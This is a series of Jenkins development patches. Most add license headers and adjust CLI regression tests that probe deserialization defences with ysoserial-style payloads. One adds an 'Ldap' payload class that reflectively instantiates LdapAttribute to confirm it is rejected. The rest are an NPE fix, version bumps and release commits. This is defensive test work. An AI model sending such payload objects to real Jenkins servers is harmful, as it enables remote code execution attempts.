a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/annotation/PayloadTest.java @@ -1,3 +1,26 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ package jenkins.security.security218.ysoserial.payloads.annotation; import java.lang.annotation.Retention; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java index 89929466af..29d682089e 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/DelegateSecurityManager.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.secmgr; import java.io.FileDescriptor; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java index 90ea39385e..c6a5e0d82a 100644 --- a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ExecCheckingSecurityManager.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.secmgr; import java.security.Permission; diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java index 9dd35ca7d5..3ba8908384 100755 --- a/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java +++ b/test/src/test/java/jenkins/security/security218/ysoserial/secmgr/ThreadLocalSecurityManager.java @@ -1,3 +1,27 @@ +/* + * The MIT License + * + * Copyright (c) 2013 Chris Frohoff + * + * Permission is hereby granted, free of charge, to any person obtaining a copy + * of this software and associated documentation files (the "Software"), to deal + * in the Software without restriction, including without limitation the rights + * to use, copy, modify, merge, publish, distribute, sublicense, and/or sell + * copies of the Software, and to permit persons to whom the Software is + * furnished to do so, subject to the following conditions: + * + * The above copyright notice and this permission notice shall be included in + * all copies or substantial portions of the Software. + * + * THE SOFTWARE IS PROVIDED "AS IS", WITHOUT WARRANTY OF ANY KIND, EXPRESS OR + * IMPLIED, INCLUDING BUT NOT LIMITED TO THE WARRANTIES OF MERCHANTABILITY, + * FITNESS FOR A PARTICULAR PURPOSE AND NONINFRINGEMENT. IN NO EVENT SHALL THE + * AUTHORS OR COPYRIGHT HOLDERS BE LIABLE FOR ANY CLAIM, DAMAGES OR OTHER + * LIABILITY, WHETHER IN AN ACTION OF CONTRACT, TORT OR OTHERWISE, ARISING FROM, + * OUT OF OR IN CONNECTION WITH THE SOFTWARE OR THE USE OR OTHER DEALINGS IN + * THE SOFTWARE. + */ + package jenkins.security.security218.ysoserial.secmgr; import java.util.concurrent.Callable; -- GitLab From 594ffcec022daef3b40469d7f38be171f621c3e4 Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 18:50:35 -0500 Subject: [PATCH 494/811] Fix quirks in the tests --- test/src/test/java/jenkins/security/Security218CliTest.java | 4 ++-- 1 file changed, 2 insertions(+), 2 deletions(-) diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index d2dbe56a6d..feb42e4c0d 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -101,7 +101,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeFileUpload1() throws Exception { - probe(Payload.FileUpload1, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.FileUpload1, -1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -129,7 +129,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeJRMPListener() throws Exception { - probe(Payload.JRMPListener, PayloadCaller.EXIT_CODE_REJECTED); + probe(Payload.JRMPListener, -1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) -- GitLab From d42c39c93a8c45a95242d87df76158a157da0435 Mon Sep 17 00:00:00 2001 From: Sam Van Oort Date: Fri, 11 Nov 2016 19:45:01 -0500 Subject: [PATCH 495/811] Add explanation for spring tests --- test/src/test/java/jenkins/security/Security218CliTest.java | 5 +++++ 1 file changed, 5 insertions(+) diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index feb42e4c0d..48b35b8363 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -32,6 +32,7 @@ import java.io.File; import java.io.PrintStream; import jenkins.security.security218.Payload; import org.jenkinsci.remoting.RoleChecker; +import org.junit.Ignore; import org.junit.Test; import static org.junit.Assert.*; import org.junit.Rule; @@ -146,6 +147,8 @@ public class Security218CliTest { @Test @Issue("SECURITY-218") public void probeSpring1() throws Exception { + // Reason it is -1 is that it is testing a test that is not in our version of Spring + // Caused by: java.lang.ClassNotFoundException: org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler probe(Payload.Spring1, -1); } @@ -153,6 +156,8 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeSpring2() throws Exception { + // Reason it is -1 is that it is testing a test that is not in our version of Spring 4 + // Caused by: java.lang.ClassNotFoundException: org.springframework.core.SerializableTypeWrapper$TypeProvider probe(Payload.Spring2, -1); } -- GitLab From 6078dd7aa097baf3402de9d5279f6053926a1ea7 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 11 Nov 2016 17:06:08 -0800 Subject: [PATCH 496/811] [SECURITY-360] integration test Make sure LDAPAttribute gets rejected. --- pom.xml | 2 +- .../jenkins/security/Security218CliTest.java | 9 +++++++ .../jenkins/security/security218/Payload.java | 7 +++--- .../security218/ysoserial/payloads/Ldap.java | 24 +++++++++++++++++++ 4 files changed, 38 insertions(+), 4 deletions(-) create mode 100644 test/src/test/java/jenkins/security/security218/ysoserial/payloads/Ldap.java diff --git a/pom.xml b/pom.xml index 9c5d559d77..a97f995fa1 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.3-20160211.162333-3 + 2.53.2 diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 48b35b8363..0d405fda0d 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -161,6 +161,15 @@ public class Security218CliTest { probe(Payload.Spring2, -1); } + @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) + @Test + @Issue("SECURITY-360") + public void ldap() throws Exception { + // with a proper fix, this should fail with EXIT_CODE_REJECTED + // otherwise this will fail with -1 exit code + probe(Payload.Ldap, PayloadCaller.EXIT_CODE_REJECTED); + } + private void probe(Payload payload, int expectedResultCode) throws Exception { File file = File.createTempFile("security-218", payload + "-payload"); File moved = new File(file.getAbsolutePath() + "-moved"); diff --git a/test/src/test/java/jenkins/security/security218/Payload.java b/test/src/test/java/jenkins/security/security218/Payload.java index ea3c30b8ac..a08186ba3d 100644 --- a/test/src/test/java/jenkins/security/security218/Payload.java +++ b/test/src/test/java/jenkins/security/security218/Payload.java @@ -24,7 +24,6 @@ package jenkins.security.security218; import jenkins.security.security218.ysoserial.payloads.*; -import net.sf.json.JSON; /** @@ -46,8 +45,10 @@ public enum Payload { JRMPListener(JRMPListener.class), JSON1(JSON1.class), Spring1(Spring1.class), - Spring2(Spring2.class); - + Spring2(Spring2.class), + Ldap(Ldap.class), + ; + private final Class payloadClass; private Payload(Class payloadClass) { diff --git a/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Ldap.java b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Ldap.java new file mode 100644 index 0000000000..8124938437 --- /dev/null +++ b/test/src/test/java/jenkins/security/security218/ysoserial/payloads/Ldap.java @@ -0,0 +1,24 @@ +package jenkins.security.security218.ysoserial.payloads; + +import jenkins.security.security218.ysoserial.util.PayloadRunner; + +import java.lang.reflect.Constructor; + +/** + * @author Kohsuke Kawaguchi + */ +public class Ldap extends PayloadRunner implements ObjectPayload { + + public Object getObject(final String command) throws Exception { + // this is not a fully exploit, so we cannot honor the command, + // but we want to check that we are blocking LdapAttribute + Class c = Class.forName("com.sun.jndi.ldap.LdapAttribute"); + Constructor ctr = c.getDeclaredConstructor(String.class); + ctr.setAccessible(true); + return ctr.newInstance("foo"); + } + + public static void main(final String[] args) throws Exception { + PayloadRunner.run(Ldap.class, args); + } +} -- GitLab From b2eed3002dcbcd06a41789c360c497c055a7edb9 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Fri, 11 Nov 2016 18:02:40 -0800 Subject: [PATCH 497/811] Because of JENKINS-32273 change in 1.649, exit code changes --- .../java/jenkins/security/Security218CliTest.java | 12 ++++++------ 1 file changed, 6 insertions(+), 6 deletions(-) diff --git a/test/src/test/java/jenkins/security/Security218CliTest.java b/test/src/test/java/jenkins/security/Security218CliTest.java index 48b35b8363..56b9e3edde 100644 --- a/test/src/test/java/jenkins/security/Security218CliTest.java +++ b/test/src/test/java/jenkins/security/Security218CliTest.java @@ -102,7 +102,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeFileUpload1() throws Exception { - probe(Payload.FileUpload1, -1); + probe(Payload.FileUpload1, 3); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -130,7 +130,7 @@ public class Security218CliTest { @Test @Issue("SECURITY-317") public void probeJRMPListener() throws Exception { - probe(Payload.JRMPListener, -1); + probe(Payload.JRMPListener, 3); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @@ -147,18 +147,18 @@ public class Security218CliTest { @Test @Issue("SECURITY-218") public void probeSpring1() throws Exception { - // Reason it is -1 is that it is testing a test that is not in our version of Spring + // Reason it is 1 is that it is testing a test that is not in our version of Spring // Caused by: java.lang.ClassNotFoundException: org.springframework.beans.factory.support.AutowireUtils$ObjectFactoryDelegatingInvocationHandler - probe(Payload.Spring1, -1); + probe(Payload.Spring1, 1); } @PresetData(PresetData.DataSet.ANONYMOUS_READONLY) @Test @Issue("SECURITY-317") public void probeSpring2() throws Exception { - // Reason it is -1 is that it is testing a test that is not in our version of Spring 4 + // Reason it is 1 is that it is testing a test that is not in our version of Spring 4 // Caused by: java.lang.ClassNotFoundException: org.springframework.core.SerializableTypeWrapper$TypeProvider - probe(Payload.Spring2, -1); + probe(Payload.Spring2, 1); } private void probe(Payload payload, int expectedResultCode) throws Exception { -- GitLab From f1fd60f74d3f70c0e633fafa7b736ae693e232e6 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 07:01:54 -0800 Subject: [PATCH 498/811] Remoting jar round #2 --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index 4e6908020a..cb9aa761ae 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.4-20161112.024902-1 + 2.53.4-20161113.144816-2 -- GitLab From b6995f9901c7f6529940b5a084bc48986c327819 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sun, 13 Nov 2016 18:14:32 +0100 Subject: [PATCH 499/811] =?UTF-8?q?@kohsuke=E2=80=99s=208cde4eb=20incorrec?= =?UTF-8?q?tly=20resolved=20a=20merge=20conflict,=20reverting=20a=20bit=20?= =?UTF-8?q?of=207493468.?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- test/pom.xml | 10 ---------- 1 file changed, 10 deletions(-) diff --git a/test/pom.xml b/test/pom.xml index 59883a3820..31b614b97e 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -168,16 +168,6 @@ THE SOFTWARE. reflections 0.9.9 - - org.netbeans.modules - org-netbeans-insane - RELEASE72 - - - com.github.stephenc.findbugs - findbugs-annotations - 1.3.9-1 - org.codehaus.geb geb-implicit-assertions -- GitLab From 594b9f715cba714a161d38c37e72753a2f1bdc65 Mon Sep 17 00:00:00 2001 From: Jesse Glick Date: Sun, 13 Nov 2016 19:47:43 +0100 Subject: [PATCH 500/811] Stop storing three identical copies of remoting.jar in jenkins.war. --- core/src/main/java/hudson/model/Slave.java | 6 +++++- war/pom.xml | 12 ------------ 2 files changed, 5 insertions(+), 13 deletions(-) diff --git a/core/src/main/java/hudson/model/Slave.java b/core/src/main/java/hudson/model/Slave.java index 4eb813f6eb..38a7d09a5c 100644 --- a/core/src/main/java/hudson/model/Slave.java +++ b/core/src/main/java/hudson/model/Slave.java @@ -32,6 +32,8 @@ import hudson.Launcher.RemoteLauncher; import hudson.Util; import hudson.model.Descriptor.FormException; import hudson.remoting.Callable; +import hudson.remoting.Channel; +import hudson.remoting.Which; import hudson.slaves.CommandLauncher; import hudson.slaves.ComputerLauncher; import hudson.slaves.DumbSlave; @@ -373,7 +375,7 @@ public abstract class Slave extends Node implements Serializable { return res.openConnection(); } - public URL getURL() throws MalformedURLException { + public URL getURL() throws IOException { String name = fileName; // Prevent the access to war contents & prevent the folder escaping (SECURITY-195) @@ -383,6 +385,8 @@ public abstract class Slave extends Node implements Serializable { if (name.equals("hudson-cli.jar")) { name="jenkins-cli.jar"; + } else if (name.equals("slave.jar") || name.equals("remoting.jar")) { + name = "lib/" + Which.jarFile(Channel.class).getName(); } URL res = Jenkins.getInstance().servletContext.getResource("/WEB-INF/" + name); diff --git a/war/pom.xml b/war/pom.xml index 4da5f76729..4edc908279 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -247,18 +247,6 @@ THE SOFTWARE. - - ${project.groupId} - remoting - ${project.build.directory}/${project.build.finalName}/WEB-INF - remoting.jar - - - ${project.groupId} - remoting - ${project.build.directory}/${project.build.finalName}/WEB-INF - slave.jar - ${project.groupId} cli -- GitLab From b379e7735661c2ef5a8d5078af68fa8ffd855954 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 11:23:59 -0800 Subject: [PATCH 501/811] Released version --- pom.xml | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/pom.xml b/pom.xml index cb9aa761ae..f57a3b6345 100644 --- a/pom.xml +++ b/pom.xml @@ -179,7 +179,7 @@ THE SOFTWARE. org.jenkins-ci.main remoting - 2.53.4-20161113.144816-2 + 2.53.4 -- GitLab From 91ad59214234e7724d586f64f8fb6db35104857b Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 13 Nov 2016 22:39:04 +0100 Subject: [PATCH 502/811] [FIXED JENKINS-38721, JENKINS-37282] - NPE in "CauseOfInterruption.UserInterruption" when user is missing (#2630) * [FIXED JENKINS-38721] - Prevent NPE during rendering of "CauseOfInterruption.UserInterruption" when user is missing It is a regression introduced in JENKINS-36594 * [JENKINS-38721] - Fix typo --- .../jenkins/model/CauseOfInterruption.java | 35 +++++++++++++++++-- .../UserInterruption/summary.groovy | 7 +++- .../UserInterruption/summary.properties | 3 +- .../UserInterruption/summary_ja.properties | 3 +- .../UserInterruption/summary_pl.properties | 3 +- .../UserInterruption/summary_sr.properties | 3 +- .../UserInterruption/summary_zh_TW.properties | 1 + 7 files changed, 47 insertions(+), 8 deletions(-) diff --git a/core/src/main/java/jenkins/model/CauseOfInterruption.java b/core/src/main/java/jenkins/model/CauseOfInterruption.java index 81dd16111d..557110f239 100644 --- a/core/src/main/java/jenkins/model/CauseOfInterruption.java +++ b/core/src/main/java/jenkins/model/CauseOfInterruption.java @@ -33,6 +33,7 @@ import org.kohsuke.stapler.export.ExportedBean; import java.io.Serializable; import java.util.Collections; import javax.annotation.CheckForNull; +import javax.annotation.Nonnull; /** * Records why an {@linkplain Executor#interrupt() executor is interrupted}. @@ -74,18 +75,46 @@ public abstract class CauseOfInterruption implements Serializable { * Indicates that the build was interrupted from UI. */ public static final class UserInterruption extends CauseOfInterruption { + + @Nonnull private final String user; - public UserInterruption(User user) { + public UserInterruption(@Nonnull User user) { this.user = user.getId(); } - public UserInterruption(String userId) { + public UserInterruption(@Nonnull String userId) { this.user = userId; } - @CheckForNull + /** + * Gets ID of the user, who interrupted the build. + * @return User ID + * @since TODO + */ + @Nonnull + public String getUserId() { + return user; + } + + /** + * Gets user, who caused the interruption. + * @return User instance if it can be located. + * Result of {@link User#getUnknown()} otherwise + */ + @Nonnull public User getUser() { + final User userInstance = getUserOrNull(); + return userInstance != null ? userInstance : User.getUnknown(); + } + + /** + * Gets user, who caused the interruption. + * @return User or {@code null} if it has not been found + * @since TODO + */ + @CheckForNull + public User getUserOrNull() { return User.get(user, false, Collections.emptyMap()); } diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy index ec48cb9efa..b75b2386f9 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.groovy @@ -1,4 +1,9 @@ package jenkins.model.CauseOfInterruption.UserInterruption; // by default we just print the short description. -raw(_("blurb",my.user.fullName, rootURL+'/'+my.user.url)) \ No newline at end of file +def user = my.userOrNull +if (user != null) { + raw(_("blurb", user.fullName, rootURL+'/'+user.url)) +} else { + raw(_("userNotFound", my.userId)) +} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties index 1f1f63c2bc..1ada7d261b 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary.properties @@ -1 +1,2 @@ -blurb=Aborted by user {0} \ No newline at end of file +blurb=Aborted by user {0} +userNotFound=Aborted by user {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties index e2d2051a6e..3cd254db98 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_ja.properties @@ -1 +1,2 @@ -blurb=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad \ No newline at end of file +blurb=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad +userNotFound=\u30e6\u30fc\u30b6\u30fc {0} \u306b\u3088\u308a\u4e2d\u65ad diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties index 0095ece665..d2c91f76b0 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_pl.properties @@ -1 +1,2 @@ -blurb=Przerwane przez u\u017Cytkownika {0} \ No newline at end of file +blurb=Przerwane przez u\u017cytkownika {0} +userNotFound=Przerwane przez u\u017cytkownika {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties index b0c8a40e79..a88ce0631c 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_sr.properties @@ -1,3 +1,4 @@ # This file is under the MIT License by authors -blurb=\u041E\u0442\u043A\u0430\u0437\u0430\u043D\u043E \u043A\u043E\u0440\u0438\u0441\u043D\u0438\u043A\u043E\u043C {0} \ No newline at end of file +blurb=\u041e\u0442\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u043a\u043e\u043c {0} +userNotFound=\u041e\u0442\u043a\u0430\u0437\u0430\u043d\u043e \u043a\u043e\u0440\u0438\u0441\u043d\u0438\u043a\u043e\u043c {0} diff --git a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties index db91795756..3b2ac62c06 100644 --- a/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties +++ b/core/src/main/resources/jenkins/model/CauseOfInterruption/UserInterruption/summary_zh_TW.properties @@ -22,3 +22,4 @@ # THE SOFTWARE. blurb=\u7531\u4f7f\u7528\u8005 {0} \u4e2d\u6b62 +userNotFound=\u7531\u4f7f\u7528\u8005 {0} \u4e2d\u6b62 -- GitLab From 777dfe99b5755d200267e6f7ae0148f715085dc0 Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 13 Nov 2016 23:06:32 +0100 Subject: [PATCH 503/811] Noting upgrade to Remoting 3.1 in #2628 --- changelog.html | 25 ++++++++++++++++++++++++- 1 file changed, 24 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 7939e12c84..40063928fc 100644 --- a/changelog.html +++ b/changelog.html @@ -56,7 +56,30 @@ Upcoming changes

                          What's new in 2.30 (2016/11/07)

                          -- GitLab From ff31562aa64b269c58b19b1adbe75748d6e45b2e Mon Sep 17 00:00:00 2001 From: Oleg Nenashev Date: Sun, 13 Nov 2016 23:33:11 +0100 Subject: [PATCH 504/811] Changelog: Noting #2626, #2627, #2612, #2631 and #2630 --- changelog.html | 19 +++++++++++++++++++ 1 file changed, 19 insertions(+) diff --git a/changelog.html b/changelog.html index 40063928fc..1a3d183c2b 100644 --- a/changelog.html +++ b/changelog.html @@ -56,10 +56,26 @@ Upcoming changes

                          What's new in 2.30 (2016/11/07)

                          -- GitLab From 52f14349ab78a2b05039137633a4549d21d5db5c Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 18:43:24 -0800 Subject: [PATCH 505/811] [maven-release-plugin] prepare release jenkins-2.31 --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 70f83cbbec..2551535c60 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 cli diff --git a/core/pom.xml b/core/pom.xml index 5e0673544c..bd0f36d90f 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 jenkins-core diff --git a/pom.xml b/pom.xml index 6086a96fe4..23eda92d75 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - HEAD + jenkins-2.31 diff --git a/test/pom.xml b/test/pom.xml index f5e72fd4f2..a12f751ff0 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 test diff --git a/war/pom.xml b/war/pom.xml index 4da5f76729..6f2ddadfd4 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31-SNAPSHOT + 2.31 jenkins-war -- GitLab From 839f0ac6714e3839cfc2efef3ff4062785f468eb Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 18:43:24 -0800 Subject: [PATCH 506/811] [maven-release-plugin] prepare for next development iteration --- cli/pom.xml | 2 +- core/pom.xml | 2 +- pom.xml | 4 ++-- test/pom.xml | 2 +- war/pom.xml | 2 +- 5 files changed, 6 insertions(+), 6 deletions(-) diff --git a/cli/pom.xml b/cli/pom.xml index 2551535c60..ec31a80134 100644 --- a/cli/pom.xml +++ b/cli/pom.xml @@ -5,7 +5,7 @@ org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT cli diff --git a/core/pom.xml b/core/pom.xml index bd0f36d90f..2a79b95f2c 100644 --- a/core/pom.xml +++ b/core/pom.xml @@ -29,7 +29,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT jenkins-core diff --git a/pom.xml b/pom.xml index 23eda92d75..d77f7ff849 100644 --- a/pom.xml +++ b/pom.xml @@ -33,7 +33,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT pom Jenkins main module @@ -58,7 +58,7 @@ THE SOFTWARE. scm:git:git://github.com/jenkinsci/jenkins.git scm:git:ssh://git@github.com/jenkinsci/jenkins.git https://github.com/jenkinsci/jenkins - jenkins-2.31 + HEAD diff --git a/test/pom.xml b/test/pom.xml index a12f751ff0..20a8b5d657 100644 --- a/test/pom.xml +++ b/test/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT test diff --git a/war/pom.xml b/war/pom.xml index 6f2ddadfd4..aabb0cd6f4 100644 --- a/war/pom.xml +++ b/war/pom.xml @@ -28,7 +28,7 @@ THE SOFTWARE. org.jenkins-ci.main pom - 2.31 + 2.32-SNAPSHOT jenkins-war -- GitLab From 21c1ee52428eae172c200312aa621b26b9e5b206 Mon Sep 17 00:00:00 2001 From: Kohsuke Kawaguchi Date: Sun, 13 Nov 2016 18:50:17 -0800 Subject: [PATCH 507/811] updated changelog for release --- changelog.html | 6 +++++- 1 file changed, 5 insertions(+), 1 deletion(-) diff --git a/changelog.html b/changelog.html index 1a3d183c2b..9087b27c03 100644 --- a/changelog.html +++ b/changelog.html @@ -55,6 +55,11 @@ Upcoming changes +

                          What's new in 2.31 (2016/11/13)

